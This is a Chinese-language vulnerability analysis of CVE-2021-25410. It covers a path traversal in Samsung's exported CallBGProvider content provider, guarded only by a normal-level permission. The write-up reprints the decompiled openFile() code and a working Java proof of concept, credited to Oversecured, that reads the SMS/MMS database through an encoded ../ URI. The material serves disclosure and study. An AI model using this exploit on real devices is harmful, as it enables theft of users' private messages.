[CVE-2021-25410] [Samsung] [CallBGProvider] CallBGProvider的调用权限定义为Normal可实现任意私有文件读取

0x00 漏洞概述

三星手机系统的CallBGProvider定义的调用者权限为Normal可以被三方应用调用,其实现的openFile()接口存在路径穿越漏洞导致任意文件读取

0x01 触发条件

0x02 PoC

0x03 前置知识

0x04 Root Cause Analysis

组件com.samsung.android.callbgprovider.CallBGProvider导出 ,有权限com.samsung.android.callbgprovider.PERMISSION限制调用者

<permission android:name="com.samsung.android.callbgprovider.PERMISSION"/>
<provider 
        android:authorities="com.samsung.android.callbgprovider.media" 
        android:exported="true" 
        android:name="com.samsung.android.callbgprovider.CallBGProvider" 
        android:readPermission="com.samsung.android.callbgprovider.PERMISSION">
    <meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/filepaths"/>
</provider>

[1]获取安装目录下的files文件夹,[2]获取传入URI的PATH字符串,[3]取出传入URI最后一段字符串进行拼接,[4]构造[3]获取的字符串对应的File对象,[5]直接打开文件并返回

// com.samsung.android.callbgprovider.CallBGProvider
@Override  // android.content.ContentProvider
public ParcelFileDescriptor openFile(@NonNull Uri __uri__, @NonNull String s) {
    File file1;
    Log.d("CallBGProvider", "openFile: uri:" + __uri__);
    try {
        File dir_files = this.getContext().getFilesDir();  // [1]
        String __uri_path__ = __uri__.getPath();  // [2]
        if(__uri_path__.contains("images/")) {
            file1 = new File(dir_files, "images");
        }
        else if(__uri_path__.contains("videos/")) {
            file1 = new File(dir_files, "videos");
        }
        else {
            file1 = __uri_path__.contains("thumbnail/") ? new File(dir_files, "thumbnail") : null;
        }

        String s2 = file1.getPath() + "/" + __uri__.getLastPathSegment();  // [3]
        File file2 = new File(s2);  // [4]
        Log.d("CallBGProvider", "openFile: uri: path :" + s2);
        return ParcelFileDescriptor.open(file2, 0x10000000);  // [5]
    }
    catch(FileNotFoundException fileNotFoundException) {
        fileNotFoundException.printStackTrace();
        return null;
    }
}

漏洞点在于[3]调用方法getLastPathSegment()的时候,它会进行一次解码操作,所以如果我们传入content://com.samsung.android.callbgprovider.media/videos/..%2F..%2F..,方法getLastPathSegment()会先取出..%2F..%2F..并且解码最终得到../../..[4]构造File之前并没有进行../过滤,所以此处存在任意文件读取漏洞

该ContentProvider的调用权限并没有定义,默认为Normal,所以只需要调用者声明该权限即可直接调用组件CallBGProvider

<permission android:name="com.samsung.android.callbgprovider.PERMISSION"/>

0x05 调试与利用

Oversecured实验室的PoC

try {
    getContentResolver().call(Uri.parse("content://com.samsung.android.callbgprovider.media"), "get_gradation_contents", "", new Bundle());

    File dbPath = new File(getPackageManager().getApplicationInfo("com.android.providers.telephony", 0).dataDir, "databases/mmssms.db");
    Uri uri = Uri.parse("content://com.samsung.android.callbgprovider.media/videos/..%2F..%2F..%2F..%2F..%2F.." + Uri.encode(dbPath.getAbsolutePath()));
    Log.d("evil", IOUtils.toString(getContentResolver().openInputStream(uri)));
} catch (Throwable th) {
    throw new RuntimeException(th);
}

Manifest声明权限

<uses-permission android:name="com.samsung.android.callbgprovider.PERMISSION"/>

0x06 漏洞研究

0x07 References

《Two weeks of securing Samsung devices: Part 2》

  • https://blog.oversecured.com/Two-weeks-of-securing-Samsung-devices-Part-2

附录:调试过程记录

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